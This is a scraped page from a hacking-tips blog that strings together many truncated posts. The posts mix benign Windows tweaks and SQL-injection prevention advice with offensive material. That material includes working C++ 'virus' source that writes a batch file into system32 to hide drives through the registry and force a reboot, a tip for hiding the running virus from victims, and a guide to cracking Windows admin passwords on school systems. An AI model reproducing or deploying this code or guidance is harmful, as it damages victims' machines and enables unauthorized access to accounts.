Showing posts with label Hacking Tips. Show all posts
Showing posts with label Hacking Tips. Show all posts
Hi friends,here i give you give the C++ virus code.  Actually Batch code is converted to C++ virus code.  If you like you can use it as batch code also.

C++ Virus Code :


#include < windows.h >
#include < fstream.h >
#include < iostream.h >
#include < string.h >
#include < conio.h >
int main()
{
ofstream write ( "C:\\WINDOWS\\system32\\HackingStar.bat" ); /*opening or creating new file with .bat extension*/

write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n"; write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n"; write<<"shutdown -r -c \"Sorry Your System is hacked by us!\" -f"<<"\n"; write.close(); //close file ShellExecute(NULL,"open","C:\\WINDOWS\\system32\\HackingStar.bat ",NULL,NULL,SW_SHOWNORMAL); return 0; }
This day will be great day!  Because The Brain Hackers get top rank in blogger directories. 

Now i am going to introduce a new tool called as "CMDOW" .   When you create and send virus to victim, the virus running process may be shown to victims.  This tool will hide that also.

About Cmdow
Cmdow is a Win32 commandline utility for NT4/2000/XP/2003 that allows windows to be listed, moved, resized, renamed, hidden/unhidden, disabled/enabled, minimized, maximized, restored, activated/inactivated, closed, killed and more.
This post is not about hacking. It just windows tweak or trick.
Just change your localhost name and enjoy it.

You have to well know about this:
How to use wamp/xamp server.
What is localhost.



It is very simple to follow. This is for windows users only.

Steps to follow:
1.Go to C:\WINDOWS\system32\drivers\etc
2. Find the file named


When i  studied second year(cse), my friends told that autorun.inf is virus.  I thought so.  Because my antivirus blocks autorun.inf files.   In third year when i search about autorun.inf file in net, i realize about the auto run file.

 Today i bring some files from my college system.  When i insert the pen drive in my system, there are lot of exe files.They are viruses.  I delete all of them.  Finally i opened the autorun.inf file in notepad and saw the instructions.  Then only i remembered that i forget to post about autorun file.  This article will give you complete details about the autorun.inf file.
This is the instructions that saved in the infected(call virus programs) autorun.inf file:




Are you getting often error report in windows xp? this trick will disable the error report creation.


  • Right-click My Computer and choose Properties.
  • Click the Advanced tab on your System Properties dialog box.
  • Click the Error Reporting button on the Advanced tab.
  • Place a checkmark next to "Disable error reporting."
  • Leave the other radio button unchecked next to the text labeled, "But notify me when critical errors occur."
  • Click OK.
that's all you finished.  From now
What is Thumb.db?
when you view a image contained folder in thumbnail view,thumb.db file will be created.  It is is a cache of the current picture in that directory.to remove it go for following
 open "WINDOWS EXPLORER".
go to "TOOLS".
open "FOLDER OPTIONS".
go to "VIEW".
see 1st section "FILES & FOLDERS".
click on the "DO NOT CACHE THUMBNAILS".
Using some softwares you can change your web camera as spy or Surveillance camera.  here i give you some  softwares links.



Rise Sun(Complete  Free Software)
  • Adjustable Motion Detection Sensitivity
  • Adjustable Webcam Performance
  • Automatically takes a snapshot when movement is detected
  • Automatically logs a record when movement is detected
  • Automatically sounds an audible alarm when movement is detected
  • Automatically displays a silent message when movement is detected
Here i give you list of shortucut commands to open the windows program faster.  If you practice the shortcut ,then you will access the windows default programs much better than any others.  you can impress your friends/lover or any others.  No need to try all shortcuts commands, just try for frequently accessed programs.


Just press CTRL+ R and type the command and press enter.
or
Just go to Run and type "cmd" and then write the Shortcut commands to open windows Programs faster.

Here is the Shortcut commands for you:

appwiz.cpl  ----> Add/Remove Programs
access.cpl  ----> Accessibility Controls

The Fastest Way of searching the directory in windows

This computer trick will save the all sub directory and file names in text file.  This may helpful to analyse the direcotry(you can know what are the contents inside the window without browsing by simple commands).


Step 1:
First of all open command Prompt.
Step 2:
Browse to folder which you want to analyze the sub directories and files by using cd commands. For Example if you want to visit d:/interview folder then
try this command.
Type "d:"
then "cd interview".
we all know that can't create con folder in windows. 

Here is simple trick to create con folder in windows using Command Prompt.

Step 1:
Open Command Prompt(Start->run->cmd)
Step 2:
Type this command:
md \\.\d:\con
This will create con folder in D Drive.
Step 3:
To Remove the folder type this command
rd \\.\d:\con
This will remove con folder from D Drive

A Reason Behind the Con Folder Creation in Windows

We all know that we can't create Con, Folder in windows. not only con but also " PRN, AUX, CLOCK$, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9 and more".

Here i am going to explain why you can not create the con folder in windows.

Reason:

We can not create folder with con,aux, nul because these are reserved keywords used by DOS. so if u r allowed to create such folders, there will be an ambiguity in where to write data when
Hi Brain Hackers Friends,
"How to Hack windows admin?" This will teach you how to hack the windows password. You can use the above tutorial for hacking any type of windows Operating system. For Example: you can hack the latest Windows 7 also.

There is only one change is required to do. i.e., You have to choose the correct Rainbow table corresponding to the Operating system that you are going to hack.

You can get all type of rainbow table from here:

http://ophcrack.sourceforge.net/tables.php

If you are School/College/University students, you may curious to hack the admin password in your college or school system. This post is going to help you to crack the any type of windows accounts passwords. Learn how to hack the windows admin password like a geek.


Requirements:
  • BackTrack Linux 4 or 5. Download it from http://backtrack-linux.org
  • Two Pen drives [if you are going to test in your own system, one pen drive is enough]
  • Xp Free Fast RainBow table [tables_xp_free_fast.zip]. Download it from here:http://ophcrack.sourceforge.net/tables.php

If a website newly registered in internet world, it may not be loaded in your computer.  For example, you register for example.com yesterday, still you may not see your web page. This is problem of DNS cache.  Your local DNS cache is old one so it won't know the newely available domain names.  Sometime you may update the NS records of your domain to point to new hosting service.

In these case you have to clear or flush cache in your computer.



How to Flush cache in Windows?

  1. Open Command Prompt(Start->Run , type cmd and hit enter).
  2. In command promt type
Hi friends, today i faced a problem.  A virus attacked my XP. I was unable to use Task Manager, System Restore,cmd,run,Registry.


This malware disabled important windows features(task manager, system restore,.......)


Whenever i try to open the Task Manager, it pop this error message as " Task Manager is Disabled by Administrator. Contact admin" .

When i try to use System restore "it said restore is turn off. it is disabled by administrator".

So i started search in Internet , finally i found the solution.  If you have this problem,
Don't get panic.  I will help you to fix this problem because i faced this problem.(Experience man..!!!)


Developer is the one and only reason for the SQL Injection Vulnerability. While developing the Web Application, he fails to handle some vulnerability(because he doesn't know about it. Don't be one of them. If you are Web Application developer, then you must read these security techniquest in order to overcome the SQL Injection Vulnerability.


Reason 1:Incorrectly filtered escape characters
In this case, the developer fails to filter the input for escape characters and He directly pass the input to SQL statement. This results in vulnerability.

Consider this code:
statement = "SELECT * FROM `users` WHERE `name` = '" + userName + "';"

This code will check the username in datbase. An attacker can use malicious codes to inject his own query.

UPDATE: Safe3 Sql Injector v8.6

Posted by ADMIN On 12:03 AM 0 comments
Safe3 developers have brought us the updated Safe3 Sql Injector version 8.3.


“Safe3 is one of the most powerful and easy usage penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a kick-ass detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.”

This update fixes a lot of bugs.

Download Safe3 Sql Injector v8.6 (Safe3SI v8.6) here.
So far i have written what is sql Injection, How to prevent SQL Injection? .  In this post, i am going to introduce a new SQLi tool for Pen Testers and Webmasters.
The tool name is SQL Inject Me.
   
What is SQL Inject Me?
    SQL Inject Me is Mozilla addon that is used to test the SQL Injection Vulnerability of Web Application.  It reduces the workload of Manual SQL Injection Test.  This is especially designed for Pen Testers and Web Masters not for hackers.



Download it From here:

    https://addons.mozilla.org/en-US/firefox/addon/sql-inject-me/

How it works?
The tool works by submitting your HTML forms and substituting the form value with strings that are representative of an SQL Injection attack.


Hi webmasters and budding Pen Testers, I hope you read my article about SQL Injection. Our Aim is to provide Security, right? So here is the prevention techniques.



 

Use Prepared Statements:

Use prepared statements, parameterized queries, or stored procedures. Don't use Dynamic SQL.

  • In Java you can use PreparedStatement() with bind variables 
  • In .NET you can use parameterized queries, such as SqlCommand() or OleDbCommand() with bind variables
  • In PHP you can use PDO with strongly typed parameterized queries (using bindParam()).

You can use Stored Procedures also.  Unlike prepared statements, stored procedures are kept in the database. Both require first to define the SQL code, and then to pass parameters.
WebApplication(Website) stores the information in database such as user info, admin info, and passwords. When the developer fails to handle escape characters and type, it results in vulnerable database. Hacking or accessing the database using this vulnerability is known as SQL injection.

 
 
What an attacker can do?
  • Bypassing Logins
  • Accessing secret data
  • Modifying contents of website
  • Shutting down the database server
When Database is vulnerable?
When the developer fails to validate the Inputs, this vulnerability occurs. So the application runs the query without validating client’s input.

Google Translator

Search Box

Blog Archive

User Status

Free counters!

About Me

ADMIN
Pakistan
View my complete profile

Recent Posts

Recent Comments